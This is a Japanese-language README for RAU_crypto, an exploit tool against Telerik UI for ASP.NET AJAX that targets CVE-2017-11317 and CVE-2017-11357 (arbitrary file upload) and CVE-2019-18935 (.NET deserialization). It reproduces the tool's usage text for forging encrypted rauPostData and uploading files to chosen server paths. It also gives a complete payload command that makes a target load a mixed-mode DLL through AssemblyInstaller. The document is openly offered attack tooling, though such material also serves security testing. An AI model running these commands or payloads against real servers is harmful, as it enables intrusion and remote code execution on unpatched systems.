RAU_crypto

Telerik UI for ASP.NET AJAX 用の複合エクスプロイト。

• CVE-2017-11317 および CVE-2017-11357 のファイルアップロード - ファイルを自動的にアップロードします
• CVE-2019-18935 の .NET デシリアライゼーション

エクスプロイトを動作させるには、通常、ハードコードされたキーを持つバージョンが必要か、キーを知っている必要があります。例えば、web.config の内容を開示できる場合などです。このエクスプロイトは、Telerik.Web.UI.WebResource.axd?type=rau で使用される rauPostData の暗号化と復号を簡単に行うこともできます。

必要条件

• python >= 3.6 と pycryptodome (https://www.pycryptodome.org/en/latest/src/installation.html) - pip3 install pycryptodome または pip3 install pycryptodomex でインストール

exploit-db に掲載 (旧バージョン)

• https://www.exploit-db.com/exploits/43874/

関連情報

私の別の Telerik UI エクスプロイト (CVE-2017-9248 用) も興味があるかもしれません。こちらから入手できます:

• https://github.com/bao7uo/dp_crypto

未完了の項目

• 後のバージョン向けの HMAC 機能の欠落
• カスタムキーを指定する機能
• 混合モード DLL の実行のためのコマンドライン引数 (それまでの間は以下に提供されている .NET デシリアライゼーションペイロードの例を使用してください)
• 混合モード DLL をテストするための別のユーティリティ
• 混合モード DLL のソースコード/コンパイル手順を提供
• バージョンのブルートフォース

注 - 最後の4つの項目は完了していますが、リリースされていません。

脆弱性

ファイルアップロード (CVE-2017-11317) の脆弱性は他の研究者によって発見されました。クレジットは @straight_blast @pwntester @olekmirosh に送られるべきだと思います。発表直後、私は業務中に Telerik ライブラリに遭遇したため、調査と脆弱性の研究を行い、2017年7月にこのエクスプロイトを作成しました。また、関連する安全でない直接オブジェクト参照について CVE-2017-11357 を報告しました。

https://www.telerik.com/support/kb/aspnet-ajax/upload-%28async%29/details/insecure-direct-object-reference

.NET デシリアライゼーション (CVE-2019-18935) の脆弱性は @mwulftange によって発見されました。

https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization

使用方法

$ ./RAU_crypto.py 

RAU_crypto by Paul Taylor / @bao7uo 
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation

Usage:

Decrypt a ciphertext:               -d ciphertext
Decrypt rauPostData:                -D rauPostData
Encrypt a plaintext:                -e plaintext

Generate file upload rauPostData:   -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file:                        -P c:\\destination\\folder Version c:\\local\\filename url [proxy]

Generate custom payload POST data : -c partA partB
Send custom payload:                -C partA partB url [proxy]

Example URL:               http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version format:    2016.2.504
Example optional proxy:    127.0.0.1:8080

N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$

例 - 復号

Decrypt screenshot

例 - 任意ファイルのアップロード

Upload screenshot

カスタムペイロード (.NET デシリアライゼーション)

.NET デシリアライゼーションのカスタムペイロードの詳細については、この脆弱性を発見した @mwulftange による Code White ブログの素晴らしい記事があります。以下のリンク。

• https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html

その他の関連リンク。

• https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
• https://threatvector.cylance.com/en_us/home/implications-of-loading-net-assemblies.html
• https://thewover.github.io/Mixed-Assemblies/

.NET デシリアライゼーションペイロードの例:

$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau

混合モード DLL については、私の別の GitHub リポジトリを参照してください:

• https://github.com/bao7uo/MixedUp

カスタムペイロード機能にインスピレーションを与えた @irsdl に特別な感謝を。